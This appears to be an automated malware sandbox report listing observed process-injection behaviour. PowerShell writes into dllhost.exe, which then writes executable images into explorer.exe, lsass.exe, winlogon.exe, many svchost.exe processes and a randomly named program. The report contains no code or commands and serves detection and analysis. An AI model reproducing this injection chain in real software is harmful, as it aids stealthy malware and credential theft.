Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: F00000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 25B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: EE0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: ED0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 1220000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2B80000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: DC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 1020000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: F40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 28C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2D00000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: FA0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2DC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: EF0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 23F0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2E70000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: FA0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 18DFB160000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1D6EE470000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1D6EE4A0000 value starts with: 4D5A	Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\System32\dllhost.exe

Memory written: PID: 2580 base: 7DB0000 value: 4D

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread register set: target process: 2852

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140001000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140004000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140006000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140007000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: F2CC2D6010	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC610000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0AB0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A6612D0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAE230000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A87990000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17953770000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2295D530000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 253067D0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1845B390000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1ADEBFD0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D559040000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 241A9E70000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD73160000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2824E860000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21B473C0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2086F9D0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17183BC0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FD3F70000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2A4150000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 275BDF30000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AAC0260000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 203C9F30000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B5644B0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BB7B2A0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C004F60000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 24E2AB40000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2644ADB0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 1990000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 20D25DA0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26EF5350000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A7F0D60000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23D0FFB0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B1C2570000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2108BCE0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 29166900000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 21C13EF0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1988D570000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 13869B40000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E1CC740000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2855DA70000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2BF199D0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 15AF3890000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21A03B80000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\sihost.exe base: 1CD40E40000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 151A6530000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 19E27BC0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17D7B150000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BE621A0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2252F480000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 1F28B4B0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 184683D0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\explorer.exe base: 7DB0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1972E260000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dasHost.exe base: 2246C5E0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 221D5930000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1ECFC650000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1D178740000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A633B40000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2928D0A0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 13DAB4C0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 1A22A640000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21C6CF30000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1EF641A0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\audiodg.exe base: 1D349350000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 23B60DA0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2135E7B0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1DEA1600000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\MoUsoCoreWorker.exe base: 1C5C4260000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F22F7C0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 1F6E8150000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 20C52340000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 2589DA90000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 1F5602E0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 23A94D50000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26EF36C0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 173E6B70000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 166801F0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\SysWOW64\cscript.exe base: 3020000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 1EB71E60000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: 3ED0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 227B9BA0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 232E3380000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1C06DDB0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1ECA6970000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 1010000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2AE0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2A60000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: A90000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2DF0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 9E0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: EB0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: AA0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: FE0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 3100000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2B90000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: BB0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2C20000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2E60000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 24A0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: E40000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: F40000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: F40000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 850000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: D00000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 840000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: F30000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: F30000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 1460000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 620000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2D90000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2640000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: E40000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2600000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 1590000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2F90000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 890000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 3020000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2E90000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 5F0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: CF0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 25F0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 800000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: FB0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: 2C30000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\UzmOdnvxneKyVFSAJvWuhhKmbpoQPXyWSwEfvjXokGipokFNuxaXhyuQLZmXBuPZOcVhMSwFTbL\zCEIgtkVdXqWruTZpBFVjqhx.exe base: C00000	Jump to behavior
